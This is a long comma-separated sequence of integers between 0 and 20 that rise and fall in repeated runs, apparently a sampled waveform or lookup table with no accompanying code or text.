6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 